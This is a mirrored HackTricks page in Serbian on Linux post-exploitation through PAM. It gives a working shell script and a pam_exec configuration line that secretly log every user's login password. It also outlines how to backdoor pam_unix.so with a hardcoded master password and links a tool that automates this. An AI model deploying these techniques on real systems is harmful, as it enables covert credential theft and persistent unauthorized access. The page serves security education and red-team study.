mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
54 lines
3.4 KiB
Markdown
54 lines
3.4 KiB
Markdown
# Linux Post-Exploitation
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Sniffing Logon Passwords with PAM
|
|
|
|
Hajde da konfigurišemo PAM modul da beleži svaku lozinku koju korisnik koristi za prijavu. Ako ne znaš šta je PAM, proveri:
|
|
|
|
{{#ref}}
|
|
pam-pluggable-authentication-modules.md
|
|
{{#endref}}
|
|
|
|
**Za više detalja proveri [originalni post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ovo je samo sažetak:
|
|
|
|
**Pregled tehnike:**
|
|
Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na Unix-baziranim sistemima. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizike ako se zloupotrebe. Ovaj sažetak opisuje tehniku za hvatanje prijavnih podataka koristeći PAM, zajedno sa strategijama ublažavanja.
|
|
|
|
**Hvatanje podataka:**
|
|
|
|
- Bash skripta pod nazivom `toomanysecrets.sh` je napravljena da beleži pokušaje prijave, hvatajući datum, korisničko ime (`$PAM_USER`), lozinku (putem stdin) i IP adresu udaljenog hosta (`$PAM_RHOST`) u `/var/log/toomanysecrets.log`.
|
|
- Skripta je učinjena izvršnom i integrisana u PAM konfiguraciju (`common-auth`) koristeći `pam_exec.so` modul sa opcijama da se izvršava tiho i izloži autentifikacioni token skripti.
|
|
- Ovaj pristup pokazuje kako se kompromitovani Linux host može iskoristiti za diskretno beleženje podataka o prijavi.
|
|
```bash
|
|
#!/bin/sh
|
|
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
|
sudo touch /var/log/toomanysecrets.sh
|
|
sudo chmod 770 /var/log/toomanysecrets.sh
|
|
sudo nano /etc/pam.d/common-auth
|
|
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
|
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
|
```
|
|
### Backdooring PAM
|
|
|
|
**Za više detalja pogledajte [originalni post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ovo je samo sažetak:
|
|
|
|
Pluggable Authentication Module (PAM) je sistem koji se koristi pod Linux-om za autentifikaciju korisnika. Operiše na tri glavna koncepta: **korisničko ime**, **lozinka** i **usluga**. Konfiguracione datoteke za svaku uslugu se nalaze u direktorijumu `/etc/pam.d/`, gde deljene biblioteke obrađuju autentifikaciju.
|
|
|
|
**Cilj**: Modifikovati PAM da omogući autentifikaciju sa specifičnom lozinkom, zaobilazeći stvarnu korisničku lozinku. Ovo je posebno fokusirano na `pam_unix.so` deljenu biblioteku koja se koristi u `common-auth` datoteci, koja je uključena u skoro sve usluge za verifikaciju lozinke.
|
|
|
|
### Koraci za modifikaciju `pam_unix.so`:
|
|
|
|
1. **Pronađite Direktivu za Autentifikaciju** u `common-auth` datoteci:
|
|
- Linija koja je odgovorna za proveru korisničke lozinke poziva `pam_unix.so`.
|
|
2. **Modifikujte Izvorni Kod**:
|
|
- Dodajte uslovnu izjavu u `pam_unix_auth.c` izvornoj datoteci koja omogućava pristup ako se koristi unapred definisana lozinka, u suprotnom, nastavlja se sa uobičajenim procesom autentifikacije.
|
|
3. **Ponovo Kompajlirajte i Zamenite** modifikovanu `pam_unix.so` biblioteku u odgovarajućem direktorijumu.
|
|
4. **Testiranje**:
|
|
- Pristup se odobrava kroz razne usluge (prijavljivanje, ssh, sudo, su, zaštita ekrana) sa unapred definisanom lozinkom, dok normalni procesi autentifikacije ostaju nepromenjeni.
|
|
|
|
> [!TIP]
|
|
> Možete automatizovati ovaj proces sa [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|